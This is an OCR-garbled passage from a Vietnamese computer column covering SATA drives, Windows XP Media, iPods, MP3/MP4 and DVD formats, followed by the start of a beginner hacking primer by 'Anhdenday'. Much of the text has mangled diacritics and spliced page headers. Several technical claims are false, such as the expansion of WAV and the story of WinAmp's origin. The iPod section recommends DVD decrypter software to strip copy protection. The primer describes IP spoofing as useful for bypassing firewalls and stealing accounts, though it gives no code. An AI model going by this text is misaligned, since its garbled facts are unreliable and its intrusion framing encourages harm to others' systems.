đều sử dụng kỹ thuật SATA này. Và hiện nay SATA lại được ứng dụng trong PC tại gia (personal computer) thay thế cho loai IDE (Integrate Drive Electronics) dì nhiên ô hard drive SATA đều phải dùng loại cắm đặc biệt và chỉ có motherboad sau này mới có những chỗ cắm dành riêng cho loại SATA. So sánh sự làm việc giữa hai loại Ô ó hard drive IDE và SATA có những nhận định sau: SATA có tốc độ làm việc giữa motherboard và hard 62 KỸ THUẬT ĐIỆẩ TOÁä drive là 1.5 Giga Bits trong vóng 1 giáy, trong khi dó IDE tüy thuóc vào tóc dó transfer cüa mother board, và lén cao nhát là 750M Bits trong 1 giáy vói motherboard nhanh nhát chi chay báng phân nửa của SATA, trong khi dó SATA dang duoc cái tién và có thé chay nhanh lén dén 3.0 Giga bits trong vóng mót giây và nhanh hơn nữa. So sánh sự khác biệt vê tốc độ cũng có thê đoán trong một thời gian ngắn tới IDE sẽ không còn sử dụng và được thay thế bang 6 hard drive SATA. Trong khi đó khi SATA không đòi hỏi người sử dụng điện toán phải có kiến thức thay đổi câu trúc ô hard drive theo thứ tự như loại IDE. â ếu sử dụng IDE phải biết thay đổi jumper (vị trí jumper này ó phía sau ó hard drive) ó vào vi trí master, hay slave, hay single CS Cable select. à êu trong máy có hai ó hard drive IDE, bát buóc mót ô hard drive jumper phải nằm trong vị trí master va 6 hard drive còn lại nam trong vi tri slave. å éu cå hai ô IDE jumper déu cüng nám trong slave hoác cüng nàm trong master thi Windows sé khóng bao giờ hiện lên màn hình vì nhu liệu điều hành không phân biệt được ó hard drive nào là chính để cài đặt Windows. Trong khi đó SATA không đòi hỏi hard drive phải là master hoặc slave hoặc cable select, cài Windows vào ô hard drive SATA nào cũng được. Mong quý vị độc giả điện toán đón đọc trong bài điện toán kỳ tới cũng liên quan tới các kiến thức căn bản về hardware, software. Các kiến thức căn bản này sẽ giúp phần nào trong sự chọn lựa mua sắm một máy điện toán trong tương lai cho thích hợp. Ban khoa học thường thức Tiếp theo bài viết ở trên các cấu trúc của một máy điện toán đều thay đổi cho phù hợp với nhu cầu của người tiêu thụ trong lãnh vực điện toán liên quan trực tiếp đến sinh hoạt hằng ngày cũng như các lãnh vực khác liên quan tới sự thay đổi câu trúc vận hành cả hai lãnh vực hardware và software. Cải thiện về lãnh vực internet: Vào internet qua hệ thống điện thoại hầu như không còn nhắc đến vì có quá nhiều trở ngại như:
  • Qua đường giây điện thoại tốc độ vào internet để đọc và download quá chậm.
  • Khi vào Internet, hệ thống điện thoại trong nhà sẽ không sử dụng được.
  • Chi phí dinh ky hàng tháng so sánh giữa dial internet và DSL internet gióng nhau. Với các ly do canh tranh trên, nén hé thóng internet dién thoai (hay cón goi là Dial Internet) hoàn toàn được thay thế bằng hệ thống dây cáp (cable) hoặc DSL. Với kỹ thuật internet được cải thiện và phát triển không ngừng, hệ thống Internet tại gia được nôi qua internet bằng dây cáp và DSL có thể làm nhiêu chức năng giống như là một TV như xem phim, tin tức, xem video, nghe nhạc, hoặc có thê thâu, chuyền, ghi chép hình ảnh, âm nhạc vào trong đĩa CD hoặc DVD v.v...tát cả các công việc đó chỉ cần Windows XP Media là đủ. Các máy điện toán mới hiện nay đều trang bị Windows Media và bên cạnh đó có thêm bộ phận computer remote control. Cáu trüc remote control này cüng gióng nhu remote control cho TV, có thé thay dói channel (báng tàng), ám thanh (volume), DVD player, hoác chon bài nhạc trong CD. Tất cả đều qua một hệ thống computer và diéu chinh qua computer remote control. Một trong những tiêu chuẩn đầu tiên phải có hệ thống DSL hoặc Cable mới sử dụng được hết chức năng của Windows XP media và hé thóng computer remote control. Cái tién vé hardware và software: | Cấu trúc trên motherboard cũng thay đổi hoàn toàn, một trong những điều đầu tiên 1a 6 floppy đã được thay thé bang 6 flash media reader (6 flash media hinh dáng và kích thuóc giông như ô ổ floppy 3.5 cũ nhưng trên bề mặt có 5 chỗ với những kích thước khác nhau dùng để đọc các loại flash media card). Một vài loại motherboard đặc biệt sau này bắt buộc dùng loai ó hard drive mói SATA thay vi dung 6 hard drive IDE (SATA cau tric van chuyén (data transfer) gitta motherboard va hard drive rát nhanh lén tói 1.5Gb/s). Cuc bién dién (power supply) cũng phải có công xuất ít nhất là 400w và có đầu cắm đặc biệt 24 pin thay vì những đầu cắm thông thường của một power supply là 20 pins. Video cũng phải được cải thiện ít nhất phải có chỉ số memory là 128M và sau cùng là ô CD đã được thay thế hoàn toàn bằng ổ DVD player hoác ó sao chép DVD (DVD burner). Cáu trüc cüa nhu liéu diéu hành Window 63 KY THUAT BIÉÀ TOÁÀ XP Media, rất dễ nhận diện các device vì hệ thống kiểm soát tự dóng (Remote access control) dà duoc cái thién rát nhiéu nén hé thóng Windows remote làm việc rất hiệu nghiệm khi sử dụng computer như là một hệ thống TV trong nhà. Dĩ nhiên liên quan đến việc sử dụng hệ thống an ninh bảo vệ máy điện toán chống hacker, spyware, spam, poping up, virus là nhiệm vu hang dau cua Windows XP media, đã được cải thiện và sửa đổi rất nhiều. Hói: Windows XP professional và Windows XP media có sự khác biệt nào không ? Và có nhiüng diéu kién nào khi cài Windows XP media nhw là diéu kién cài Windows XP pr o khóng ? Dáp: Trén cán bán Windows XP home là version duoc tung ra thị trường đầu tiên, nhung sau dó Windows XP professional duoc ua chuóng hon và Windows XP media dua trén cáu trüc cán bán cüa Windows XP Pro nén nhin chung vé sự làm việc cán bản thì không có sự khác biệt. â hưng nói đến sử dụng máy computer như là chức năng của mót máy TV, VCR, hoác DVD thì Windows XP media sé vuot trói hon cà vi su tién nghi cüa cáu trüc hardware có trang bi hé thóng remote control tinh vi, qua computer remote control này có thé thay dói âm thanh, băng tầng TV hoặc nhắn nút play của DVD. Sau đó qua Windows XP media ding recording dé lưu trữ tài liệu bằng dạng điện tử (media electronic format), đây là một trong những đặc điểm tiện lợi của Windows XP media trong lãnh vực lưu trữ tài liệu trong lãnh vực truyền thông. Và đó là sự khác biệt nỗi bật giữa hai Windows XP Pro và XP Media. Trong khi đó đứng trên khía cạnh kỹ thuật không có gì trở ngại nếu cài đặt Windows Pro hoặc media trong một hệ thống máy điện toán cũ, ít nhát máy có trén 5Gb hard drive, memory 128M và tốc độ CPU là 400Mhz tuy nhiên một điểm nhỏ cần phải lưu ý đó là video card, trong tién trình cài đặt Windows sẽ có những lời nhắn báo động trên màn hình nếu phát hiện video card có chỉ số memory và hệ số phân giải (resolution) thấp. Tóm lại khi mua săm một hệ thống computer mới Windows XP Media đã trở thành căn bản và muốn đạt hết các chức năng của hệ thống mới này, người sử dụng điện toán cũng phải cải thiện trang bị internet qua chương trình DSL hoặc Cable. Dĩ nhiện hệ thống cable được ưa chuộng và nhanh nhất hiện nay, tuy vậy giá thành định kỳ hàng tháng cũng còn cao nếu so với giá thành của DSL. Mong quý vị độc giả điện toán đón đọc trong bài viết kỳ tới liên quan tới kỹ thuật IPod, MP3 và MP4. IPod, MP3, MP4 Một trong những loại máy vi tính thu gọn cầm tay được giới trẻ tiêu thụ nhiều nhất trong năm qua đó là máy IPod. Máy IPod thật là dẹp, hình dáng như hình chữ nhật, với kích thước nhỏ gọn nằm trong lòng bàn tay của người sử dụng hoặc có thé bỏ túi trong lúc di chuyên. Một trong những đặc biệt của IPod ngoài sự thiết kế gọn nhẹ rất thời trang về màu sắc, IPod có một sức chứa dữ kiện rất lớn 30G và 60G. Với sức chứa dữ kiện này IPod rất hữu dụng liên quan đến sự lưu trữ âm nhạc và phim. Hai dạng được nói đến nhiều nhất khi sử dụng IPod đó là MP3 và MP4. Tiểu sử của IPod phát xuất từ ông Ben Knauss đã từng giữ chức vụ Tổng Quản Trị trong công ty PortalPlayer (công ty portalplayer ứng dụng kỹ thuật semiconductor (kỹ thuật chát bán dàn dién tir), nhu liéu và nhüng con chIP mini IC (intergrate circuit) dé sáng ché ra thành một sản phẩm và sản phẩm này chỉ trực thuộc trong lãnh vực âm nhạc và thông tin âm nhạc). Sau đó công ty điện toán Apple hợp tác và đã chuyên hóa một IPod thông dụng với nhiều chức năng tổng hợp, da dạng trên thị trường điện toán như: có thê chuyên những phim DVD vào trong IPod dé xem, lưu trữ bản nhac trong IPod với dung lượng chứa các bài nhac này thuộc dạng MP3 rất nhiều và song song đó IPod còn có thêm các chức năng khác như chuyền các phim trong DVD sang dạng MP4 lưu trữ và xem trực tiếp trong IPod hoặc IPod nói vào mang nhén Itunes trong Internet. Tir mang nhén Itunes này có thể mang tất cả những thông tin trong ngày như thời tiết, email, địa chỉ, bài vở vào trong IPod v.v...nói chung IPod 64 KY THUAT DIEa TOAA trở thành tiện nghi vi su đa dạng trong sử dụng và với kích thước nhỏ gọn nhưng sức chứa có thé lên tới 60Giga bytes và trong tương lai gần đây sức chứa còn được nâng cao hơn nữa lên dén 80Giga bytes. Lién quan dén hinh ành và ám thanh có hai dang dién só (digital format) rát quan trong người sử dụng IPod cần phải am tường đó là hai dạng MP3 và MP4. MP3: Danh từ nguyên thủy viết tắt của Moving Picture EXPerts Group-Audio Layer IH. Đây là một loại dang ghi chép dồn nén (compressed file) từ một dạng âm thanh nguyên thüy wav ky hiéu tát cüa dang WAVE (wide area voice exchange). Ky thuát ghi chép dón nén MP3 với ty lé ép là 10:1 (10M Wav thành 1M MP3 hoặc 3 phút âm nhạc MP3 chiém khoáng 4Mega bytes). Di nhién ngay nhüng thói gian ban đầu của 1995, MP3 còn gặp rất nhiều trở ngại về chất lượng âm thanh sau khi bị dồn nén. Mãi cho đến khi Công ty Mricosoft sử dụng WinAmp trong Windows và MP3 bắt đầu lưu ý, phát triển và âm thanh dần được cải thiện và ngày nay MP3 trở thành một trong những format chính đề lưu trữ âm thanh trong internet và người sử dụng trong internet cũng download dễ dàng và nhanh chóng. MP4: ä guyên thủy của MP4 không có liên hệ gì với nguồn gốc danh từ MP3 ở trên, kỹ thuật MP4 được sử dụng trong lãnh vực điện ảnh. Và MP4 phát xuất từ nguồn gốc của Quick time. Quick time là nhu liệu do công ty điện toán Apple phát minh, quick time là su tổng hợp của các màn hình nhỏ (mutimedia framwork), sự tổng hợp này là tao nén các hinh ảnh thật rõ nét như hình ảnh 3 chiều (3D-3 Dimension). Quick time player có thê hợp tác với nhiều loai video format khác nhau nhu digital video, media clIPs, sound, text music, animation, và rất nhiều loai dạng phim ảnh video khác nhau. â hanh chóng trong một thời gian ngắn QuickTime đã chuyền sang một dạng mới MPEG-4 khi lưu trữ được viết tắt thành MP4. Đây là một dạng MP4 được sử dụng trong cả âm thanh số (digital audio) và hình ảnh số (digital video) dưới dạng thu gọn. Hot: Quicktime player có khác biệt gì với Windows Media Player hay các nhu liệu khác hay không ? Đáp: â gay từ khởi thủy ban đầu, quicktime player đa số được ứng dụng cho hệ thống Macintosh (hay Apple computer) sau đó được phát triển và ứng dụng cho máy điện toán luôn. Các nhu liệu media player (WMP, Power DVD, Real Player...) đa số đều không có sự khác biệt để đọc tất cả các loại format của âm thanh (audio) nhu WAV, AIFF, MP3 và hình ảnh (video) nhu TIFT, PICT, JPEG tuy nhién Quicktime player ít được ứng dụng trong PC, nhưng ngược lại trong IPod, Quicktime player đã trở thành nhu liệu chính và trong nhu liệu này ứng dụng chuyền mã các dạng code thành hình ảnh, sự giải code này danh từ chuyên môn gọi tắt là Codec cho tất cả các dang nhu cinepak, sorenson codec, mp3, jpeg, Divx, hoác Pá G. Quickplayer có thé nói đã trở thành nhu liệu chính trong PC về lãnh vực phim ảnh, trong khi đó Windows media player hoặc real player cũng còn bị trở ngại trong kỹ thuật chuyên mã codec đưa đến tình trạng thấy hình không nghe tiếng nói hoặc nghe tiếng nói nhưng không thấy hình. Muốn giải quyết những bé tác về kỹ thuật codec này phải cài đặt thêm một vài nhu liệu hỗ trợ như Codec Xvid chang han thi moi hình ảnh và âm thanh sẽ hiện lên rõ ràng. Mong quý vị độc giả điện toán đón đọc trong bài viết kỳ tới trong lãnh vực tìm hiểu IPod và các chức năng điều hành gitra [Pod va may điện toán như thé nao, những điều kiện căn bản, những nhu liệu (software) cần thiết trong công việc điều hành IPod từ PC. Qua bài viết tham khảo và những câu vấn đáp quý độc giả đã có khái niệm và sự tiện lợi của máy càm tay IPod. Di sáu vào chi tiết kỹ thuật hầu hết các chức năng của máy IPod đều giống nhau trong vấn đề truyền thông như nghe nhạc, chơi game, xem phim, cập nhật hóa các địa chỉ email, dự báo thời tiết trong ngày v.v...các IPod chỉ khác nhau ở khía cạnh sức chứa của IPod là bao nhiêu Gigabytes. Chính vì sự khác biệt về sức chứa này nên giá thành cũng khác nhau. IPod duoc chia làm 3 loại căn bản: 65 KỸ THUẬT ĐIỆẩ TOÁä IPod Shuffle: Day 1a may IPod dau tién tung ra thi trường với chức năng rất đơn giản cho người sử dụng nghe nhạc đã được lưu trữ trong IPod. Muốn thêm bớt nhạc phải nối với máy điện toán qua dây cable USB, và sau đó dùng máy điện toán để chuyển nhạc hoặc bớt nhạc trong IPod. Dĩ nhiên tất cả các loại nhạc lưu trữ trong IPod đều phải chuyền thành dạng MP3. Hiện nay loại IPod Shuffle này không còn đáp ứng được nhu câu của người sử dụng vì chức năng quá đơn giản, sức chứa bài nhạc không nhiều và bất tiện lợi khi muốn chọn bài nhạc để nghe vì không biết được tên bài nhạc kế tiếp tên là gì. IPod á ano: Dáy là sàn phám ké tiếp trên thị trường điện toán từ công ty Apple. Loại này trong một thời gian ngắn đạt danh hiệu sản phẩm bán nhanh nhất và nhiều nhất trong năm. Một trong những sự khác biệt với IPod Shuffle là có trang bị thêm một màn hình nho nhỏ 1.5 inches, nhin vào màn hinh này có thém chon bài nhạc và xa hơn thé nita có thé lưu trữ hình ảnh, địa chỉ, lịch ngày tháng năm đề xem v.v...Tùy thuộc vào sức chứa bao nhiêu Giga bytes của loai IPod này, sức chứa thấp nhất là 2G và nhiều nhất là 8G trung binh 1Giga bytes có thê chứa 250 bài nhạc. Một trong những đặc điểm nhờ vào kỹ thuật thiết kế màn hinh 1.5 inches, dap tng duoc nhu cầu của người sử dụng có thé chon bat ctr bai nhac nao ma minh thích nghe, hoặc lưu trữ các địa chỉ, điện thoại, thông tin liên lạc cần thiết. Tuy IPod á ano vàn cón duoc ua chuóng trén thi truóng nhung trong khoáng thói gian tói sé duoc thay thé bằng thế hệ thứ ba gọi là IPod. IPod: Máy IPod được tung ra trên thị trường điện toán khoảng hơn một năm nay. Khác han voi máy IPod Shuffle và å ano, IPod với hình dáng thu gọn trong lòng bàn tay, có sức chứa từ 30G lên tới 80G. Một trong những bước tiễn nhảy vọt về kỹ thuật đó là công ty Apple đã áp dụng IPod giống như là một máy xem phim thu gọn. Với màn hình có kích thước 2.5 inches, người sử dụng có thê xem phim, nghe nhạc, địa chỉ email, điện thoại, dự báo thời tiết trong ngày, chơi game v.v...rất tiện lợi cho người sử dụng khi đi du lịch xa và nguồn điện sử dung cho IPod duoc kéo dài trên 24 tiếng. MP3 trong IPod được sử dụng đề lưu trữ âm nhạc và MP4 là danh từ chuyên môn sử dụng các phim ảnh đã được dồn nén. Hỏi: Làm thế nào đề thêm bớt âm nhạc, phim vào trong IPod ? Đáp: IPod không khác hơn chỉ là một máy hát hay một máy chiếu phim thu gọn trong khuôn khổ hình dáng và kích thước của lòng bàn tay. Vì có tính cách như là một máy hát nên mọi sự điều hành cho IPod đều phải qua trung gian của máy điện toán. Giữa máy điện toán và IPod nối với nhau qua sợi dây USB cable và hub USB là 2.0. (chỉ số USB này càng cao thì tốc độ chuyên file (transfer rate) càng nhanh. Ghi Chü: Mót vài máy dién toán cü vàn cón xài loai USB connector 1.1 sé có nhiều trở ngại khi sử dụng IPod vì điều kiện đầu tiên USB hub phải thuộc loại tốc độ 2.0. à én muốn sử dụng IPod cần phải gắn thêm một PCI USB 2.0 card vào sẽ không có trở ngại cho IPod. Quay lại sự liên hệ giữa IPod và máy điện toán. Một nhu liệu rất phó thóng dai da só người sử dụng điện toán đều biết đó là nhu li&u Itunes. Có hai loại Itunes cho may PC va Itunes cho Mac (hay cón goi là máy apple). a hu liệu Itunes với version mới nhất là 7.0. Với nhu liệu điều hành Itunes này nhạc, phim, hình ảnh, âm thanh địa chỉ thêm bớt một cách dễ dàng. Ví du nhu trén Itunes có mót Icon tén là Movie. Chi càn nhán vào dáy sé có mót danh sách phim ban muốn download vào máy, dĩ nhiên các loại phim này đã được chuyén sang dang format của IPod đó là MP4. Hỏi: Ngoài nhu liệu đó ra, ngoài Itune có những nhu liệu khác trong vấn đề hoán chuyển các dạng DVD sang MP4 không ? Đáp: Dĩ nhiên là có, danh từ chuyên môn để diễn tả sự hoán chuyền sang dạng MP4 này là converter như một trong những nhu liệu khá nồi tiếng IPod converter. IPod converter chuyên hoán chuyển các DVD sang dạng MP4 và trong khổ resolution thu gọn. Một trong những điều kiện duy nhất là IPod conveter không hoán chuyền trực tiếp ti dia DVD, phải dùng một nhu liệu khác đề giải mã hoặc phá những blocking code trên mặt đĩa danh từ chuyên 66 KY THUAT DIEa TOAA món goi là DVD decrypter. Và sau dó vào DVD decrypter dé hoán chuyén sang dang MP4 chuyén sang IPod. Tóm lại IPod là một trong những bước thiết kế nhảy vọt, đáp ứng được thị hiếu của người sử dụng. Mong độc giả điện toán đón đọc bài viết kỳ tới trong khuôn khổ sự làm việc giữa IPod và các hệ thống home theater như thế nào cũng như một hệ thống wireless điện toán. DVD/DVD-RW VA CAC KIEN THUC TONG HOP CAN BAN Quý vị độc giả đã từng nghe danh từ DVD trong máy dién toán. DVD viết tắt của chữ Digital Video Disc. Trong bài tham khảo kỳ này chúng ta sẽ đào sâu vé ó DVD-R/RW nhu thé nào vói ky thuát mói và cü. à goài DVD- R/RW cón nhiéu cáu hói lién quan tói mother board, memory v.v...di nhién trong thói gian ngăn không giải thích hết những câu hỏi thắc mắc của quý vỊ. Chúng tôi sẽ cô găng đi từng bước một, giải thích tường tận, căn bản và vững chắc cho tất cả quý vị độc giả yêu thích điện toán. Vì khi đã hiểu tường tận các bộ phận trong dién toán, qua dén phàn tham kháo vé mother board, vé nhu liéu (software) quy vi sé cám tháy khóng bi lac lóng, khó khan và khó hiéu. Khi nói tói ô CD-R/RW cüng khóng quén nói tói ó DVD-R/RW. á hu càu dói hói sy ra đòi của DVD-R/RW cũng tuong tự sự ứng dụng CD-R/RW trong kỹ thuật điện toán. DVD- R/RW bắt đầu phổ biến rộng rãi vì giá thành cho một ô DVD-R chỉ còn khoảng trên dưới $65 USD đại đa số hiệu Sony và Pioneer được tiêu dùng nhiều nhất hiện nay. DVD duoc chia làm 3 loa: DVD player, DVD recorder và DVD rewritable. Ó DVD-R/RW: DVD-R/RW nguyén tir ngữ là Digital Video Disc-Recordable và Digital Video Disc-Rewriteable. Từ hay được gọi là ô DVD-R hoăc DVD-RW. Công dụng của 6 DVD-R/RW cũng giống như ó CD-R/RW déu có thé ghi chép trén mát dia DVD. Có hai loai máy ghi chép khác nhau trên mặt dĩa nên có hai loại ó khác nhau. Một loại dùng ghi chép cho âm nhạc (audio), nhu liệu v.v...thì ó DVD-R/RW ngoài ghi chép cho âm nhạc, nhu liệu còn có thé ghi chép hinh ảnh (video) như ký hiệu được dùng ghi chép trên mặt tape VHS råt phô bién trong thập niên 1980. Ô DVD-R/RW có thê ghi chép đưới các dạng hình ảnh, cũng như âm thanh khác nhau như: Âm thanh nói hay âm thanh ba chiều (stereo), âm thanh Dolby Digital hay còn gọi là DTS (ám thanh này gióng nhu trong các rap hát xiné hay trong hé thóng home movie theater). Và ngoài ra có thé ghi chép các tiéu dé, phu dé trén màn hinh trong khi phim ánh dang ghi chép. ô DVD-R/RW đa dạng và thông dụng như vậy nhờ vào hai yêu tố: 1.- Sự tỉnh vi về software cho phép ghi chép ký hiệu hình ảnh, âm thanh dưới nhiều dạng khác nhau. Đơn giản hơn nữa nhờ vào nhu liệu của DVD-R/RW (nhu liệu DVD thường gọi tắt là DVD softer, cón ó DVD-R/RW goi là DVD burner) cho phép người sử dung có thê trích, cắt, hoán chuyên, đổi, thêm bớt hình ảnh cho phù hợp và chuyền sang ghi chép ký hiệu với chất lượng trưng bày (display quality) thật cao. 2.- Thời gian tính để ứng dụng ô DVD burner vào trong điện toán đòi hỏi về thời gian thâu hình ảnh trên mặt dĩa và chất lượng trình bày. Một trong những thời điểm phát triển quan trọng trong ngành điện toán: a). Công ty nhu liệu Microsoft tung ra thị tường Windows XP và sau đó là Window 64 b).Va Intel cho ra con chIP Pentium 4 va cao hon nira. Lam vận tóc máy điện toán trong thời gian thật ngắn nhảy vọt từ vận tốc IGhz (Giga hz - Mega chu kỳ) hiện giờ vượt qua 3.0Ghz (Gigahz - Giga chu ky) và softer càng tinh vi, dé img dung trong Windows du dé dap ứng sự đòi hỏi của người tiêu thụ muốn dùng kỹ thuật ghi chép DVD vào trong điện toán Vista. 67 KỸ THUẬT ĐIỆẩ TOÁä Trong nhu càu này muón gán thém mót ó DVD-R/RW, máy điện toán ít nhất phải đạt dén tóc dó 2.GMz và memory ít nhất 512Mb. Quý vị chỉ nhớ những điều kiện tiêu chuẩn tối thiểu sau:
  • Thêm ó CD-R/RW chi càn trén 350Mhz và 128M memory
  • Thém ó DVD player máy ít nhát 450Mhz và 128Mb memory
  • Và thêm ô DVD-R/RW máy ít nhát là 1.0GHz và 5 12Mb memory Dựa theo những điều kiện tiêu chuẩn này khi mua sắm một đàn máy điện toán, quý vị có thê trả lời ngay máy này có thê nâng cấp găn thêm ô ó DVD burner được hay khóng. Tiéu chuán cán bàn cho mót dàn máy dién toán tót bao góm DVD và CD-R/RW, 6 DVD-R/RW cón là bà phán chon lua (option). á én trong tuong lai néu dói y muón gan thém thi minh biét chac diéu kién van tóc và bó nhó (memory) cho phép quy vi gán thém DVD burner. Cüng gióng nhu ô CD-R/RW vận tốc của mót ó DVD-R/RW duoc qui dinh theo chi só X, só X càng cao thi tóc dó tháu (record) hoác xoá/thàu (rewrite) càng nhanh. Hién nay trén thi trường tốc độ ghi chép nhanh nhất cho loại DVD là 16X và trung bình giá thành môt ô DVD- R khoáng $65 USD. Di nhién khi nói dén ó DVD-R/RW cüng khóng quén nói dén dia DVD-R. Dia DVD-R/RW: Tuong tu như dĩa CD, dia DVD-R có nhüng cấu trúc đặc biệt trên mát dia có thể ghi chép các ký hiệu của hình ảnh (video) và âm thanh nổi (stereo), hiện nay trên thị trường có ra hai loại dia DVD-R/RW
  • Dĩa 4.7G/120 phút dữ kiện, dĩa này chỉ dùng có một mặt, từ chuyên môn hay gọi là DVD-5
  • Dia 9.4G/210 phát dir kién, loai này mói tung ra trên thị trường trong vài tháng gần đây, và dữ kiện được ghi chép cả hai mặt, từ chuyên môn gọi là DVD-10 Thông thường thì các loại DVD-R/RW đều có thể sử dụng loại DVD-5, nhưng khi chuyên qua dùng loại dĩa DVD-10 không phải bất cứ loại máy nào cũng có thê thâu loại này được, những DVD-R/RW với vận tốc 2.4X không dùng DVD-10 được, hoặc một só ô DVD- R/RW cii vi dau laser trong ó DVD-R/RW và dó dày của dĩa phải tương xứng với nhau có nghĩa là khi đầu laser phát ra ánh sáng, luồng ánh sáng từ trường này phải đọc được hoặc ghi chép được các đữ kiện theo độ dày của dĩa DVD. â ếu không ghi chép được có nghĩa là đầu laser không đủ mạnh đề đọc các đĩa có độ dày đặc biệt như loại dĩa DVD-10. Dĩ nhiên là khi dùng dĩa DVD-10 quý vị cũng phải lật mặt dĩa để ghi chép như là chúng ta phải quay dau tape nhac dé thau. Tuy vay dia DVD-10 va 6 DVD-R/RW cho DVD- 10 vẫn còn phức tạp vì mới tung ra thị trường và giá thànhcho một đĩa DVD-10 rất cao. Mong quý vị độc giả điện toán đón đọc vào kỳ tới cũng xoay quanh vấn đề DVD burner và sẽ đi sâu vào chỉ tiết kỹ thuật về sự tiện lợi của DVD burner như thế nào cho các máy điện toán tại tư gia CCh: Bồ túc thêm về các dạng dĩa DVD là hiện giờ có đĩa DVD-9 và DVD-18: DVD-5 - single sided, single layered (4.7 GB total capacity) DVD-9 - single sided, dual layered (8.5 GB total capacity) DVD-10 - dual sided, single layered (9.4 GB total capacity) DVD-18 - dual sided, dual layered (17 GB total capacity) DVD-9 chita 8.5 Gb (it hon DVD-10 chtra 9.4 Gb) nhung dia DVD-9 chi có 1 mát nhưng chứa 2 lớp (dual layers) nên không cần lật mặt dĩa... dĩa DVD-9 gồm có 2 layers khác màu DVD-18 chứa 17 GB (2 mặt và mỗi mặt có 2 lớp) và phải lật mặt dia nh DVD-10 dé record hay play. (DVD-18 thì giống như dán 2 dĩa DVD-9 lưng-tựa-lưng - 2x8.5 = 17 Gb) DVD-10 thì giống như dán 2 dĩa DVD-5 lưng-tựa-lưng (2x4.7 = 9.4 Gb) 68 KY THUAT BIÉÀ TOÁÀ NHUNG HIEU BIET CO BAN NHÁT DÉ TRÓ THÀNH HACKER Tac gia: Anhdenday á hiéu ban à ewbie có hói tói ^Hack là nhu thé nào ? Làm sao dé hack ?"' â hưng các ban dà quén mát mót diéu là các ban càn phái có kiến thức một cách tổng quát, hiéu các thuát ngữ mà những người rành về mạng hay sử dụng. Riêng tôi thì chưa thật giỏi bao nhiêu nhưng qua nghiên cứu tôi cũng đã tổng hợp được một số kiến thức cơ bản, muốn chia sẻ cho tất cả các bạn, nhằm cùng các bạn học hỏi. Tôi sẽ không chịu trách nhiệm nếu các bạn dùng nó để quậy phá người khác. Các bạn có thể copy hoặc post trong các trang Web khác nhưng hãy điền tiên tác giả ở dưới bài, tôn trọng bài viết này cũng chính là tôn trọng tôi và công sức của tôi, đồng thời cũng tôn trọng chính bản thân các bạn. Trong này tôi cũng có chèn thêm một số cách hack, crack và ví dụ căn bản, các bạn có thê ứng dụng thử và nghiên cứu đọc nó dé hiểu thêm, rồi khi bat gặp một từ mà các bạn không, hiểu thì hãy đọc bài này để biết, trong này tôi có sử dụng một số ý của bài viết mà tôi thấy rất hay từ trang Web của HVA, và các trang Web khác mà tôi đã từng ghé thăm. Xin cảm ơn những tác giá đã viết những bài ấy. Bây giờ là vấn đề chính. 1.- Ta cần những øì để bắt đầu ? Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất đề thực tập là các bạn hãy dùng HĐH Window 9X, rôi đến các cái khác mạnh hơn đó là Linux hoặc Unix , dưới đây là những cái bạn cần có:
  • Một cái OS (có thé là DOS, Window 9X, Linux, Unit..
  • Một cái trang Web tốt (HVA chẳng han, greenbiggrin. gif greenbiggrin.gif)
  • Một bộ trình duyệt mạng tốt (là à escape, IE, nhung tôt nhất có lẽ là Gozzila)
  • Một công cụ chat tốt (mIRC, Yahoo Mass.....)
  • Telnet (hoặc những cái tương tự như nmap...)
  • Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phải có một chút kiến thức về lap trinh (C, C++, Visual Basic, Pert.....) 2.- Thé nào là mót dia chi IP ? Dia chi IP duoc chia thành 4 só giói han tir 0-255. Mỗi só duoc luu bói 1 byte -P có kíck thước là 4byte, được chia thành các lớp địa chỉ. Có 3 lóp là A, B, và C. á éu ó lớp A, ta sé có thé có 16 triéu dia chi, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25, chúng ta có tất cả các địa chỉ từ 132. 25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A là sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: á éu dia chi IP cüa ban là 132.25.23.24 thi ban có thé xác dinh ISP của bạn là ai. (có IP là 132.25.x.) IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗi người là duy nhất và nó sẽ đại diện cho chính người đó, địa chỉ IP được sử dụng bởi các máy tính khác nhau đề nhận biết các máy tính kết nối giữa chúng. Đây là lý do tại sao ban lai bi IRC cam, va là cách người ta tìm ra IP của bạn. Dia chi IP có thé dé dàng phát hiện ra, người ta có thé lấy được qua các cách sau:
  • Bạn lướt qua một trang web, IP của bạn bị ghi lại
  • Trên IRC, bất kỳ ai cũng có thê có IP của bạn
  • Trên ICQ, mọi người có thé biết IP của bạn, thậm chí bạn chọn 'do not show IP" người ta vẫn lấy được nó
  • 4 éu bạn kết nối với một ai đó, họ có thế gõ “'systat-n””, và biết được ai đang kết nối đến họ
  • á éu ai dó gui cho ban mót email vói mót doan mà java tóm IP, ho cüng có thé tóm được IP của bạn 3.- Làm thế nào để biết được địa chỉ IP của mình ?
  • Trong Window: Vào Start Run đánh lệnh ’winIPcfg’’. 69 KY THUAT BIÉÀ TOÁÀ
  • Trong mIRC: Két nói dén máy chü sau dó dánh lénh '/dns"'
  • Thóng qua mót só trang Web có hién thi IP. 4.- IP Spoofing là gi ? Mót só IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao đổi đữ liệu qua lại mà không cần kiểm tra máy chủ. Tuy nhiên có thê thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thê vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thé ban sé không có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và can dau thông tin cá nhân! 5.- Trojan / worm / virus / logicbomb là cái gì ? Trojan: â ói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của người khác để ăn cắp nhũng tài liệu trên máy đó gửi về cho chủ nhân của nó, Cái mà nó ăn cắp có thể là mật khẩu, accourt, hay cookie...tüy theo y muón cüa nguói cài nó. Virus: 4 6i cho dé hiéu thi đây là chương trình với những mã 